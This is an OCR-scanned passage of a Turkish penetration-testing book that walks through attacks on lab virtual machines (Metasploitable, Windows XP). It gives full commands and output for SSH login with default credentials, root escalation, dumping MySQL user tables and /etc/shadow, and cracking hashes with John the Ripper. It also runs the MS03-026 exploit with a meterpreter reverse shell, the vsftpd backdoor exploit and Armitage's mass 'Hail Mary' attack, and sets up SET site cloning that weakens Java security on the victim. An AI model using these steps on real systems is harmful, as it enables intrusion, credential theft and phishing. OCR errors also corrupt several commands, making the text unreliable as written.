Ssh erisimiyle hangi yetkiye erisebildigimizi kontrol ediyoruz:

# ssh msfadmin@R10.10.56.2
msfadmin@l0.10.56.2's password:

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10
13:58:00 UTC 2008 1686

The programs included with the Ubuntu system are free
software;

the exact distribution terms for each program are described
in the

individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by

applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/

No mail.

Last login: Tue Jun 24 09:17:38 2014
msfadmin@metasploitable:~$ sudo -1

[sudo] password for msfadmin:

root@metasploitable:~# id

uid=0(root) gid=0(root) groups=0(root)

Yukarida gorildigu tzere “msfadmin” ile giris yaptik. “sudo -i” ile root
yetkisine gegcmeyi denedik ve basarili olduk.




Simdi de MySQL veritabanina erismeye ¢alisalim. Bunun igin MySQL-
Workbench'’i kuracagiz. Once ag ayarini NAT a getiriyoruz. Su komutu yaziyoruz:

# apt-get install mysgl-workbench

Sonra asagidaki komutla programi calistiriyoruz:

# mysgl-workbench

Gelen ekrandan “Open Connection to Start Querying”i seciyoruz.
MySQL Workbench e ® 0

@
File Edit View Database Tools Scripting Help

MySQL Connections ® ® Shortcuts

) MmysqL Utilities
o

@ Database Migration
MySQL Bug Reporter

. Workbench Blogs

Yans\ Planet MysqQL
sakila_full
. Workbench Forum

Models ® ® ®

| Scripting Shell
p g

Ready.

Karsimiza ¢ikan ekranda “MySQL Connections”in yanindaki “+” isaretine
tikhyoruz. Gelen ekranda gerekli bilgileri dolduruyoruz ve “OK” ile baglaniyoruz.



Setup New Connection @ ® 0

Connection Name: IMetasploitable Mysql Baglantisi l Type a name for the connection

Connection Method: ‘ Standard (TCP/IP) v } Method to use to connect to the RDBMS

Parameters | SSL = Advanced

Hostname: ’10.10. 56.2 \ Port: l 3306 ‘ Name or IP address of the server host. - TCP/IP port.

Username: ’root ’ Name of the user to connect with.

Password: } Store in Keychain ... ‘ \ Glonn | The user's password. Will be requested later if it's not set.
Default Schema: ’ ‘ The schema to use as default schema. Leave blank to select it later.
Configure Server Management... Test Connection \ \ Cancel ‘ ‘ OK ]

Asagida gorduginiz gibi baglanti sagladik. Metasploitable Mysql Baglantisi
yazisina tikliyoruz. Artik veritabaninda tablolari arastirarak web uygulamalarinin
verilerine ve kullanicilarina ulasabiliriz.



a

File Edit View Database Tools Scripting

MySQL Connections ® ®

Metasploitable Mysgl Badl...

© root

- 10.10.56.2:3306

MySQL Workbench

Help

Asagida “dvwa” veritabaninin kullanici tablosundaki kullanicilari gériyoruz.

Bunu “users” tablosuna sag tiklayip “Select Rows - Limit 1000” secerek sagladik.

MySQL Workbench

@®

File Edit View Query Database Server Tools Scripting Help

S &l e &8 E &

Management | Schemas

Metasploitable Mysql Baglantisi - Warning - not supported x

Query 1x | usersx

o |

SCHEMAS o || fa B ¥ 8 [@ li] | Limit to 1000 rows v v ¢ Q1 (3
| Q Filter object 1 e SELECT * FROM dvwa.users;
v 5] dwwa
v & Tables
» & guestbook Resut Grid H 43 Fiter Rows| Q, | Edit: @& B E& Exportiimport: {5] Wrap Cell Content: TA ﬁ
# user_id first_name last_name user password avatar —
B
= Views 1 1 admin admin admin  5f4dcc3b5aa765d61d8327deb882cf99 http://172.16.123.129/dvwa/hackabl. ..
3 stored Procedures
B Functions 2 2 Gordon  Brown gordonb e99a18c428ch38d5f260853678922e03 hitp://172.16.123.129/dvwa/hackabl. ..
> metasploit 3 3 Hack Me 1337 8d3533d75ae2c3966d7e0d4fcc69216b http://172.16.123.129/dvwa/hackabl. ..
10 ; : -
i f‘:asf 4 4 Pablo Picasso pablo  0d107d0Sf5bbed0cade3de5c71e9e9b7 hitp://172.16.123.129/dvwahackabl. ..
> IKIWIKI
> tikiwikil95 5 5 Bob Smith smithy  5f4dcc3b5aa765d61d8327deb882cf99 http://172.16.123.129/dvwa/hackabl...
¢ o v ] oy v ] v ] Lo
users 1 x
Action Output v |
Time Action Message



Simdi de “owasp10” veritabanindaki kullanicilari goriyoruz. Burada ayrica
sifreler de agik olarak kaydedilmis ve kullanilabilir durumda.

#& |soLEditor x|
File Edit Vview Query Database Plugins Scripting Community Help

s = = e
e & o) & & & & L
i © | sQLFile1x Querylx | Query2x
Q e r & B B < Q1
- & dwa 1 e SELECT * FROM owasplO.accounts;
b B Tables
B views
B Routines
b metasploit 3

< (& owaspl0
<+ B Tables

blogs_table

b E
b [ captured_data >
b [E credit_cards Filter] O Edt g4 Eb Eh Export By Autosze I
b [ hitlog —
b [ pen_test tools # cid username password mysignature is_admin
B Views L L

b B Routines 2 - e
b tikiwiki 3 3 :john .monkey .\ like the smell of confunk
b tikiwikiLos [ I = | o | I 57311 57 Fea R
5 5 {bryce i password {| Love SANS v

arralinte 1w

John the Ripper?®

Daha 6nceki arastirmalarimiz sonucunda buldugumuz hash bilgilerini
kullanarak sifre kirmamiz gereken durumlar olacaktir. Bunlarin en
onemlilerinden biri de herhangi bir Windows bilgisayara fiziksel erisimimiz
varsa veya daha dnceden sizmissak ilgili hash bilgilerini toplayip kirma
denemeleri yapmaktir. Bu denemeleri kendi bilgisayarimiz tizerinden
yapabilmek igin John the Ripper yazilimini kullanacagiz.

John’u kullanirken “brute force” dedikleri sifre Gretme, deneme yanilmayla
kirma ¢alismasi yapabilecegimiz gibi sifrelerin oldugu bir s6zliik yardimiyla da
kirma denemeleri yapabiliriz.

26 http://www.openwall.com/john/



Medusa ile sifre kirma denemeleri sirasinda msfadmin kullanicisiyla SSH
erisimi ve root yetkisi almistik. SSH ile sisteme baglanip root yetkisine gececegiz
“/etc/passwd” ve “/etc/shadow” dosyalarini alacagiz. Daha dogrusu cat
komutuyla ekrana yazdirip bunlari kopyala-yapistir ile baska bir Terminal
ekraninda passwd.txt ve shadow.txt olarak kaydedecegiz. Son olarak asagidaki
komutla bu iki dosyay! birlestirecegiz ve tek bir hashes.txt dosyasi yapacagiz. Bu
adimlari artik siz de yapabileceginizi diisindigim i¢in adim adim
anlatmiyorum.

# unshadow passwd.txt shadow.txt > hashes.txt

Simdi bize bir sifre so6zlik dosyasi lazim. Bunun icin
https://wiki.skullsecurity.org/Passwords adresine gidip rockyou.txt.bz2

dosyasini indiriyoruz. Bu dosyada 60 milyon civarinda toplanmis sifre var ve
programimiz bu sifreleri deneyerek kirma ¢alismasi yapacak. internet hiziniz
diisiikse, dosya biiyikligiinden dolayi indirme biraz zaman alabilir. indirme
tamamlandiktan sonra asagidaki komutla dosyamizi zip arsivinden ¢ikartiyoruz.

# bunzip2 rockyou.txt.bz2

Artik kirma denemelerimize baslayabiliriz. Asagidaki komut 6rnegini
goruyorsunuz:

john --wordlist=s6zllikdosyasi hashdosyasi

Komutu calistirdigimizda bize 3 adet kullanici adi ve sifre verdi. Boylelikle
Medusa ile bulamadigimiz birkag kullanici adi ve sifreye daha ulastik.

# john --wordlist=rockyou.txt hashes.txt

Loaded 7 password hashes with 7 different salts (FreeBSD MD5
[128/128 SSE2 intrinsics 12x])

123456789 (klog)



https://wiki.skullsecurity.org/Passwords

batman (sys)

service (service)

Simdilik John ile ilgili calismamizi bitiriyoruz ama Windows ile ilgili
denemelerimizde tekrar ornekler yapacagiz.

Metasploit?’

Metasploit Ucretsiz olarak elde edebileceginiz en basarili sizma testi
programi. Hem zafiyet taramasi hem de sizma saglayabilen bir program. Simdi
buldugumuz zafiyetlerden Metasploit ile nasil yararlanacagimizi gérelim.

Metasploit’i ilk calistirmada dikkat edecegimiz bazi adimlar var. Asagidaki
komutlarla sirasiyla:

- postgresql veritabani hizmetini baslatiyoruz.

# service postgresgl start

- postgresql veritabani hizmetinin agilista baslamasini sagliyoruz.

# update-rc.d postgresqgl enable

Metasploit veritabani baglantisi icin 6nce asagidaki komutu giriyoruz.

msfdb init

27 http://www.rapid7.com/products/metasploit/editions-and-features.jsp



Asagida goruldigu gibi “msf” veritabani ve baglanti icin “msf” kullanicisi

olusturuldu.

~# msfdb init
Creating database user 'msf!'
Enter password for new role:
Enter it again:

Creating databases 'msf' and 'msf_test'
Creating configuration file in /usr/share/metasploit-framework/config/d
atabase.yml
Creating initial database schema
~H

Bu adimlari tamamladiktan sonra asagidaki komutla Metasploit’i baslatiyoruz.

# msfconsole

Asagida goruldugi gibi veya buna benzer bir ekran gérintusiyle
karsilasacaksiniz:

MMMMMMMN NMMMMMMM
MMMMMMMMMNmmmNMMMMMMMMN
MMMMMMMMMMMMMMMMMMMMMMN
MMMMMMMMMMMMMMMMMMMMMMN
MMMMM  MMMMMMM  MMMMM
MMMMM  MMMMMMM  MMMMM
MMMNM  MMMMMMM  MMMMM
WMMMM ~ MMMMMMM  MMMM#
?MMNM MMMMN
" 7TMMM MMMM®
MM MM?

http://metasploit.pro

Payload caught by AV? Fly under the radar with Dynamic Payloads in
Metasploit Pro -- learn more on http://rapid7.com/metasploit

metasploit v4.11.5-2015121501 ]
1517 exploits - 871 auxiliary - 256 post ]
436 payloads - 37 encoders - 8 nops ]
Free Metasploit Pro trial: http://r-7.co/trymsp ]




Simdi “db_status” komutuyla veritabani baglantimizda sorun olup
olmadigini kontrol edelim. Asagidaki gibi “connected” (baglandi) mesaiji
geliyorsa sorun yok ve adimlari dogru yaptiniz demektir.

msf > db status

[*] postgresqgl connected to msf3

Metasploit’i calistirdigimiza gore artik sizma adimina gegebiliriz. Bunun igin
oncelikli olarak Nessus’ta buldugumuz zafiyetlere geri donelim. WindowXP ve
Metasploitable igin ayri ayri sizma saglayalim.

Metasploit ile Windows XP SP1’e sizma

Bu bolimde ilk is olarak Windows XP SP1’e Nessus ile zafiyet taramasi
yapacagiz. Daha sonra zafiyetleri inceleyerek Metasploit’te nasil kullanip sizma
saglayacagimiza bakacagiz.

Benim 6rnegimde Windows XP IP’si 10.10.56.3.



-

E4] Windows XP spl [Running] - Oracle M VirtualBox ol @ =]

-—

s¢ C:\WINDOWS\System32\cmd.exe H=E

Microsoft Windows XP [Uersion 5.1.26001]
(C> Copyright 1985-2081 Microsoft Corp.

C:\Documents and Settings\Admin>ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection—specific DNS Suffix . =
IP Addres : 18.18.56.3

Subnet Mask = 255.255.255.8
Default Gateway :

C:\Documents and Settings\Admin>_

Nessus’a girip tarama yaptigimizda asagidaki gibi sonuclarla karsilasiyoruz.
Benim 6rnegimde toplam 13 adet kritik sorun buldu. Bu buytk ihtimalle rahat

bir sizma saglanabilecegini gosteriyor. Simdi detaylara girip devam edelim.

@ NeSSUS Scans Policies admin A - A

W|ndOWS XP tarama5| Configure Audit Trail Launch ¥ Export ¥

Scans > Hosts n Vulnerabilities History

Host Vulnerabilities « Scan Detalls

Status: Completed
Policy: Basic Network Scan
Scanner: Local Scanner
Folder: My Scans
Start Today at 12:07 AM
End. Today at 12:08 AM
Elapsed: a minute
Targets: 10.10.56.3

1. Microsoft Windows XP Unsupported Installation Detection:



Burada Windows XP ile ilgili destegin bittigini, glincellemelerin
yayinlamayacagini, dolayisiyla yiuksek seviyede risk iceren bir isletim sistemi
kullandigimizi belirtiyor. Risk ylksek olsa da direkt sizmaya yonelik bir detay
degil; devam edebiliriz.

2. MS03-026 Microsoft RPC Interface Buffer Overrun:

Bu zafiyetin detaylarinda uzaktan “system” kullanicisi yetkisiyle kod
calistirmanin mimkdin oldugunu soyliyor. CVSS notu da 10. Ayrica Metasploit
ile sizma saglanabilecegi de belirtiliyor. Simdi denememize baslayalim.

Metasploit konsoluna geri donelim ve asagidaki komutu yazalim:

msf > search MS03-026

Gelen detaylar asagidaki sekilde olacak:

Name: exploit/windows/dcerpc/ms03 026 dcom
Disclosure: Date: 2003-07-16
Rank: great

Description: MS03-026 Microsoft RPC DCOM Interface Overflow

Simdi “use isim” komutuyla ilgili sizma kodunu kullanmak icin secelim.

msf > use exploit/windows/dcerpc/ms03 026 dcom

msf exploit(ms03 026 dcom) >

“show options” komutuyla hangi parametreleri istedigine bakalim.



msf exploit(ms03 026 dcom) > show options

Module options (exploit/windows/dcerpc/ms03 026 dcom) :

Name Current Setting Required Description
RHOST yes The target address
RPORT 135 yes The target port

Exploit target:

Id Name

0 Windows NT SP3-6a/2000/XP/2003 Universal

Yukarida gorildugi tzere RHOST parametresini doldurmamiz yeterli olacak.
Kullanacagimiz komut “set RHOST hedef_IP”.

msf exploit(ms03 026 dcom) > set RHOST 10.10.56.3
192.168.56.103

RHOST => 10.10.56.3

Kontrol etmek icin isterseniz “show options” komutunu tekrar
calistirabilirsiniz. Simdi de hedefe nasil saldiracagimizi secelim. ilk olarak
korsanlarin en ¢cok sevdigi ve onlara 6zel gelistirilmis “Meterpreter shell” ile
deneme yapalim. “show payloads” komutuyla seceneklerimiz listelenecek.

msf exploit(ms03 026 dcom) > show payloads




Bizim Ornekte sececegimiz payload: windows/meterpreter/reverse_tcp

msf exploit (ms03 026 dcom) > set payload
windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse tcp

Simdi tekrar “show options” komutunu calistirarak baska parametreye
ihtiyac olup olmadigina bakiyoruz. Reverse_tcp bizimle baglanti kurmak istedigi
icin IP adresimizi istiyor. Bu detayi asagidaki sekilde giriyoruz:

msf exploit(ms03 026 dcom) > set LHOST 10.10.56.1

LHOST => 10.10.56.1

Son olarak “run” komutuyla bilgisayari ele gecirme denememizi yapiyoruz.

msf exploit(ms03 026 dcom) > run

[*] Started reverse handler on 10.10.56.1:4444
[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...

[*] Binding to 4d9f4ab8-7dlc-11cf-86le-
0020af6e7c57:0.0@ncacn_ip tcp:10.10.56.3[135]

[*] Bound to 4d9f4ab8-7dlc-11cf-86le-
0020af6e7c57:0.0@ncacn ip tcp:10.10.56.3[135]

[*] Sending exploit
[*] Sending stage (957487 bytes) to 10.10.56.3

[*] Meterpreter session 1 opened (10.10.56.1:4444 ->
10.10.56.3:1030) at 2016-01-06 00:17:23 +0200

meterpreter >




Yukarida gorildugl tzere sizma basaril bir sekilde saglandi ve bir
meterpreter komut satirina dastik. Simdi kim oldugumuza bakalim. “getuid” ile
hangi kullanici ve yetkilerle baglandigimizi anlayabiliriz.

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

Goruldugl tzere “system” kullanici yetkisindeyiz ve artik hedef bilgisayarda
istedigimiz her seyi yapabilecek durumdayiz. Meterpreter shell ile bundan
sonra neler yapabilecegimiz ise sizma sonrasinin konusu.

Metasploit ile Metasploitable’a sizma

Bu bolimde de Windows XP ile yaptigimiz denemenin aynisini
Metasploitable igin yapalim.

Metasploitable IP’miz 10.10.56.2.

Nessus taramasi asagidaki sonuglari veriyor:



@ Nessus Scans Policies

metasploitable taramasi Configure | Audit Trail Launch
Scans > Hosts Vulnerabliities [  Remediations History
Severity & Plugin Name Plugin Family
Apache Tomcat Manager Common Administrative Credentials Web Servers
Debian OpenSSH/OpenSSL Package Random Number Generator Weakness Gain a shell remotely
Deblan OpenSSH/OpenSSL Package Random Number Generator Weakness (SSL check) Gain a shell remotely
Rogue Shell Backdoor Detection Backdoors
Samba NDR MS-RPC Request Heap-Based Remote Buffer Overflow Misc.
Unsupported Unix Operating System General
VNC Server ‘password' Password Gain a shell remotely
vsftpd Smiley Face Backdoor FTP
@ Microsoft Windows SMB Shares Unprivileged Access Windows

Ben bu 6rnekte “vsftpd Smiley Face Backdoor” ile deneme yapacagim. Bunu
se¢cmemde iki sebep var.

1. Nessus tarama detayina baktigimizda asagidaki sekilde gorildugu gibi
root yetkisini alabilmesi.
Output

Hezsus executed "id" which returned the following output

uid=0i(root) gid=0(root)

Port = Hosts

21 /M tep/ fip 10.10.56.2

2. Nessus tarama detaylarinda Metasploitable’da ilgili saldiri imkaninin
bulundugunu ve adini gbstermesi.

Exploitable With

Metasploit (WVSFTPD v2. 3.4 Backdoor Command
Execution)

Simdi metasploit komut satirina gecerek aramamizi yapiyoruz. Asagidaki
sekilde detaylar geliyor. Bunlari inceledigimizde “Rank” (Seviye) olarak
“excellent” (mikemmel) verildigini gbriyoruz.



sf exploit( ) > search vsftpd

latching Modules

Disclosure Date Rank Description

sf exploit(

ilgili saldiri tipimizi segiyoruz:

msf > use exploit/unix/ftp/vsftpd 234 backdoor

msf exploit(vsftpd 234 backdoor) >

Seceneklere bakiyoruz:

msf exploit(vsftpd 234 backdoor) > show options

Module options (exploit/unix/ftp/vsftpd 234 backdoor):

Name Current Setting Required Description
RHOST yes The target address
RPORT 21 yes The target port

Exploit target:

Id Name

0 Automatic




RHOST hedef bilgisayarimizin IP’sini giriyoruz:

msf exploit (vsftpd 234 backdoor) > set RHOST 10.10.56.2

RHOST => 10.10.56.2

“show payloads” ile ne tiir saldiri paketleri oldugunu kontrol ediyoruz.
Asagida goruldigl Gizere sadece tek segenek var. Bu segenek Linux’ta komut
satiri agiyor.

msf exploit(vsftpd 234 backdoor) > show payloads

Compatible Payloads

Name Disclosure Date Rank Description

cmd/unix/interact normal Unix Command,
Interact with Established Connection

Paketi seciyoruz:

msf exploit(vsftpd 234 backdoor) > set payload
cmd/unix/interact

payload => cmd/unix/interact

“Show options” ile kontrol ettigimizde ek bir parametreye ihtiyac
duymadigimizi gérecegiz. Son olarak “run” veya “exploit” komutuyla saldiriya
geciyoruz.




msf exploit(vsftpd 234 backdoor) > exploit

[*] Banner: 220 (vsFTPd 2.3.4)

[*] USER: 331 Please specify the password.

[+] Backdoor service has been spawned, handling...
[+] UID: uid=0(root) gid=0(root)

[*] Found shell.

[*] Command shell session 2 opened (10.10.56.1:32899 ->
10.10.56.2:6200) at 2016-01-06 00:29:01 +0200

id
uid=0 (root) gid=0 (root)
whoami

root

Yukarida gorildigi tzere saldiri sonucu komut satiri agmayi basardik. “id”
ve “whoami” komutlarini ¢alistirdigimizda da “root” kullanicisi oldugumuzu
gordik. Metasploitable’a sizmayi da basarih bir sekilde gercgeklestirdik.



Armitage®®

Armitage, Metasploit icin kullanabilecegimiz ve icinde bircok 6zelligi
barindiran bir yazilim. Eger grafik araytzle calismayi seviyorsaniz Armitage ile
Metasploit kullanarak bu isteginize kavusabilirsiniz.

Armitage’da bizim odaklanacagimiz komut “Hail Mary”. Bu komutla
karsidaki bilgisayar taraniyor ve buttn olasi saldirilar deneniyor. Yani hicbir
emek harcamadan sadece deneme yanilma yoluyla karsidaki hedefi ele
gecirmeye calisiyoruz.

Armitage, Kali Linux’ta kurulu olarak geliyor. Bundan dolayi sadece asagidaki
komutla programi ¢calistirabiliriz:

# armitage

Calistirdiktan sonra asagidaki sekilde bir ekran gelecek. “Connect” (Baglan)
ile devam ediyoruz.

Connect... 'e' @' 0

Host 127.0.0.1
FPort 55553
User msf
Pass Hk
| Connect | | Help |

Sonraki pencerede “yes” ile devam ediyoruz. En son asagidaki sekilde bir
ekran geliyor ve ilk hedef adresimizi girmemizi bekliyor.

% http://www.fastandeasyhacking.com



Input

&, Could not determine attack computer IP
U What is it?

| Cancel | [ 0K J

Simdi adres olarak WinXp IP’mizi girelim ve saldiri denememizi yapalim.
Adres olarak 10.10.56.3 girip “OK” tusuna basiyoruz. Asagidaki sekilde hedef

bilgisayarimiz ekranda gorinuyor.

Armitage LI C

Armitage View Hosts Attacks Workspaces Help

» (& ausiliary
* [ exploit
+ ([ payload
- post

Console X

Hedefimize sag tiklayip “Scan”i (Tara) seciyoruz ve hedef bilgisayarimizi

tarayip daha fazla bilgi toplanmasini sagliyoruz.



Armitage View Hosts Aftacks Workspaces Help

» ([ auxiliary
» (B exploit
* [EF payload ?
> [ post Services
Scan

Host

10.10.56.3

Tarama sonucunda asagida goruldigi Gzere bilgisayarin bir Windows isletim

sistemi calistirdigi tespit edildi.

Son olarak ust menliden “Attacks = Hail Mary”yi segiyoruz.



ew Hosts POREMEN Workspaces Help

Find Attacks
Hail Mary

10.10.56.3

Bundan sonra karsimiza c¢ikan uyarida “Gergekten mi?” diye soruyor ve

asagidakine yakin bir agiklama veriyor:

“Hail Mary basladiginda bir dizi saldiri baslatacak. Bu saldirida yuzlerce

deneme yapilacak ve bu oldukca giriltici bir islem.”

Really?!?
& . Once started, the Hail Mary will launch a flood
0 exploits at hosts in the current workspace. There
is nothing stealthy about this action. If clumsily

launching hundreds of exploits is what you would

like to do, press Yes.
]_ No ‘] | Yes |

“Yes” secenegiyle devam ediyoruz ve saldirimiz basliyor. Asagidaki sekilde

ilerleme cubuguyla saldiri denemeleri basliyor.



Frogress...

"o Querying exploits...
multi/httpivOpcr3w_exec
—

Cancel

Sonuglara baktigimizda hedef bilgisayarin ele gecirildigini gbriyoruz.
Aciklamalarda gorildigi tGzere “ms08-067" ve “ms03-026” aciklarindan

I”

faydalanarak 2 adet “meterpreter shell” agilmis durumda.

Armitage

Armitage View Hosts Attacks Workspaces Help

- & auxiliary
» [ exploit
» (B payload
» (i post

Session ID

Type

Info

Tunnel

Via

UuID

MachineID: b89b2df14b i
CheckIn: 20s ago @ 2016-01-06 00:46:01 +0200
Registered: No

Session ID: :

Type
Info
Tunnel

Via: exploi

UUID: d7afzb

MachineID: bh89h2

CheckIn
Reqistered

Simdi “meterpreter” komut satiri agip yetkimize bakalim. Asagida goruldigu
uzere hedef bilgisayarimiza sag tiklayip “Meterpreter 2 = Interact 2>

IH

Meterpreter Shell” secerek komut satirina erisiyoruz.



(T 5
I I Afttack
P

| >
5 [
} =i

"""""" >

Interact - Command Shell
Scan E?{plcfre > Meterpreter Shell
- Eivoting | Desktop (VNC)
n X | Hail Mary X] Host » [ ARP Scan.

Kill

SYSTEM @ WINDOWSXP
1: 26 -> 10.10.56.3:15685 (10.10,56.3)

ndows fdcerpc,/ms03_ dcom

/x86=1/windows=1/2016-01-05T22:45:567

Kullanici yetkilerimize bakiyoruz ve asagida gorildigu sekilde sistem
kullanici yetkilerine sahibiz.

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

Social Engineering Toolkit (SET)?°

Social Engineering Toolkit (Sosyal Mihendislik Ara¢ Takimi-SET), TrustedSec
tarafindan gelistirilen ve diinyada en ¢ok kullanilan sosyal miihendislik
aracglarindan biridir. Sosyal mihendislik saldiri denemelerimizde biz de SET
kullanacagiz.

SET’i calistirmak icin komut satirina “setoolkit” yaziyoruz ve asagidaki gibi bir
ekran karsimiza geliyor:

29 https://www.trustedsec.com/downloads/social-engineer-toolkit/



:~# setoolkit
[*] Kali bleeding edge was not detected to be on...
[*] Kali install detected. Note that if you are not using bleeding edge reposito
ries, your version of SET will be roughly 4 months behind.
[*] It is recommended to switch to bleeding-edge repos to ensure you are running

the latest version of SET and other tools.
Press [enter] to accept that SET is several months out of date and probably cont
ains bugs and issues.|j

root@kali: ~

File Edit View Search Terminal Help

The Social-Engineer Toolkit is a product of TrustedSec.

Visit: https://www.trustedsec.com

from the

ial-Engineer Toolkit

Burada Kali Gzerinde kurulu gelen SE Toolkit aracinin glincel olmayabilecegini
soyllyor. Son versiyona glincellemek igin Kali bleeding edge repolarini
ekliyoruz. Kali bleeding edge repolari Kali Gzerindeki bircok sizma testi aracinin
daha glincel olmasini saglar. Ag ayarlarini NAT a getirip asagidaki komutlari
sirayla giriyoruz:

echo deb http://http.kali.org/kali kali-bleeding-edge contrib non-free
main >> /etc/apt/sources.list

apt-get update

apt-get upgrade

Simdi tekrar setoolkit’i calistiriyoruz. SE Toolkit’i koti niyetle
kullanmayacagimiza dair onay yazisi ¢ikiyor. “Y” ile geciyoruz.




Bizim mentde kullanacagimiz adim 1. adim: Sosyal Mihendislik Saldirilari. 1
yazip “enter” tusuna basiyoruz.

Select from the menu:

Spear-Phishing Attack Vectors
Website Attack Vectors
Infectious Media Generator
Create a Payload and Listener
Mass Mailer Attack
Arduino-Based Attack Vector

Wireless Access Point Attack Vector
QRCode Generator Attack Vector
Powershell Attack Vectors

Third Party Modules

Return back to the main menu.

Karsimiza bircok saldiri secenegi geliyor:

1. Oltalama, yemleme saldirisi

2. Web sitesi saldirilari

3. USB, flash bellek gibi cihazlar Gizerinden saldiri
4. Bir saldir1 paketi ve dinleyici olustur

5. Toplu e-posta saldirisi

6. Arduino saldirilari

7. Kablosuz ag saldirilan

8. QR kodu Uretme saldirisi

9. Powershell saldirilari

10. Uclincii parti modiiller



SET’in biitiin maddelerini islemek igin ayri bir kitap yazmak gerekecektir.
Bundan dolayi biz yukaridaki 6rneklerden sadece web saldirilariyla ilgili olanlari
isleyecegiz. “2” secenegiyle devam ediyoruz.

Java Applet Attack Method
Metasploit Browser Exploit Method
Credential Harvester Attack Method
Tabnabbing Attack Method

Web Jacking Attack Method
Multi-Attack Web Method

Full Screen Attack Method

HTA Attack Method

(ST P Sy S oy S e N S NS

1
2
3
4
5
6
S
8

w
w

Return to Main Menu

-

Burada 2 saldiri yontemi kullanacagiz:
1. Java Applet saldirisi

2. Sifre toplama saldirisi

Bu saldirilari gerceklestirebilmek icin dncelikle Kali saldirt makinemizin ag
ayarlarini degistirmemiz gerekiyor.

VirtualBox NAT ayari

SET saldirilarina gegmeden 6nce tamamlamamiz gereken birkag adim var.
Web klonlama ve sifre toplama saldirisi yapacagimiz icin Kali bilgisayarimizin
internete acik olmasi ama ayni zamanda hedef bilgisayarimizla baglantiya da



gecebilmesi gerekiyor. Bunun icin VirtualBox tarafinda ayri bir NAT agi

tanimlamamiz lazim. Simdi adimlarimiza gegelim.

VirtualBox'u acip “Preferences” kismina giriyoruz, “Network” sekmesini ve

onun altindaki “NAT Networks”( seciyoruz. Bundan sonra sagdaki “+” isaretiyle

yeni bir ag ekliyoruz.

% VirtualBox - Preferences 7 =
M General Network
@ Input NAT Metworks | Host-only Networks
&) Update Active Name 7]
@ Language NatNetwork =
Display s
B Network
[ extensions
ey

| ok || cencal || Hep

Yeni eklenen aga cift tikladigimizda asagidaki gibi bir detay gérmemiz

gerekiyor. Burada gordigimuz IP araligi farkh olabilir. Onemli olan bir araligin

tanimli olmasi ve DHCP desteginin secili olmasi.



.
& NAT Network Details

Enable Network

Network Name:

Network CIDR:
Network Options:

NatNetwork
10.10.10.0/24
[¥] Supports DHCP
["] supports IPv6

| | Advertise Default IPv6 Route

[ Port Forwarding ]

o (o

Bu ag tanimina aldigimiz bilgisayarlar hem internete baglanabilecek hem de

kendi aralarinda baglanti kurabilecek.

Son adim olarak kullanacagimiz bittn bilgisayarlarin ag ayarlarini bu aga

tasiyoruz. Bunun icin Kali’nin ayarlarini asagida 6rnek olarak bulabiliriz:

- : | 52
{:a Kali Linux - Settings a - | ?
IE]I General Network
System Adapter 1 | Adapter 2 I Adapter 3 | Adapter 4 |
Display Enable Metwark Adapter
G storage Attached to: |NAT Network -
Mame: [Naﬂ\letwork -
ba Audio
¢ Advanced
@ Metwork Adapter Type: | Intel PRO/1000 MT Desktop (52540EM) -
@ Serial Ports Promiscuous Mode: [Alluw All v]
ﬁ USE MAC Address: 080027520100 ’.‘.‘;":‘3
Cable Connected
E Shared Folders
Port Forwarding
E User Interface
[ ok || cancel || Heb




Java applet saldirisi

Bu boélimde Windows 7 isletim sisteminde bir Java saldirisi
gerceklestirecegiz. Saldirinin basarili olabilmesi icin hedef alinan makinede
Java’nin kurulu olmasi gerekiyor. Windows 7 (izerinde Internet Explorer web
gezginini acarak http://java.com/tr/ adresine gidiyoruz. Buradan Java’yi indirip
kurduktan sonra http://www.java.com/en/download/installed.jsp adresinden
Internet Explorer’da Java’nin isleyisini test edebilirsiniz. “Agree and Continue”
dedikten sonra cikan ekrana “Run” diyoruz. Diizglin calisiyorsa asagidaki gibi bir
ekran gelmesi gerekiyor.

Search

Download  Help

Java Versions on Your Computer

o Congratulations!

You have the recommended Java installed
Version 8 Update 66

Mo out-of-date versions of Java were found.

Return to the Java.com home page

Web gezgini lizerinde calistirilacak Java Applet ile saldirimiz
gerceklestirecegiz. Bu yuzden Java’nin web gezgininde dizgin calistigindan

emin olun.


http://java.com/tr/
http://www.java.com/en/download/installed.jsp

Saldiri kismina gegmeden 6nce son bir adim daha kaldi. Java son
versiyonlarla birlikte glivenlik kontrollerini sikilastirdi. Saldirimizin Java givenlik
kontroll tarafindan engellenmemesi icin Kali makinemizin IP adresini
“Exception Site List”e (istisnalar Listesi) ekliyoruz. Bunun icin “Baslat Meniisii =
Programlar = Java = Configure Java” seciyoruz. Burada “Security” bashgini
seciyoruz. Asagida “Edit Site List” kismina tiklayip ekranda gorinen Kali
makinemize ait 10.10.10.4 IP adresini “Exception Site List”e (istisnalar Listesi)
ekliyoruz. “Apply” ve “OK” ile ¢ikiyoruz.

P

| £ Java Control Panel El =] @

| General | Update | Java | 5EUJFi‘L'5"§| .ﬁ.dvanced|

Enable Java content in the browser

Security level for applications not on the Exception Site list
) Very High

Only Java applications identified by a certificate from a trusted authority are allowed to run,
and only if the certificate can be verified as not revoked.

@ High

Java applications identified by a certificate from a trusted authority are allowed to run, even if
the revocation status of the certificate cannot be verified,

Exception Site List

Applications launched from the sites listed below will be allowed to run after the appropriate security
prompts.

http://10.10.10.4 "
[ Ediit Site List... ]

Restore Security Prompis I l Manage Cerfificates... J

Ok ] I Cancel Apply

Simdi Kali makinemize donip saldiri asamalarina devam edelim. En son

kaldigimiz yerde ilk secenegi “Java Applet Saldirilarin” secelim. Burada site



kopyalamayla karsi tarafin baska bir siteye girdigini zannetmesini ve bizim
zararl kodumuzu g¢alistirmasini saglamayi amagliyoruz.

1) Web Templates
2) Site Cloner
3) Custom Import

99) Return to Webattack Menu

>

ikinci olarak site klonlama secenegiyle devam ediyoruz.

set:webattack>2

[-] NAT/Port Forwarding can be used in the cases where your
SET machine is

[-] not externally exposed and may be a different IP address
than your reverse listener.

set> Are you using NAT/Port Forwarding [yes|no]:

“No” yazip “enter”a basiyoruz. Daha sonraki se¢cenekte mevcut Kali IP’mizi
girmemiz gerekiyor.

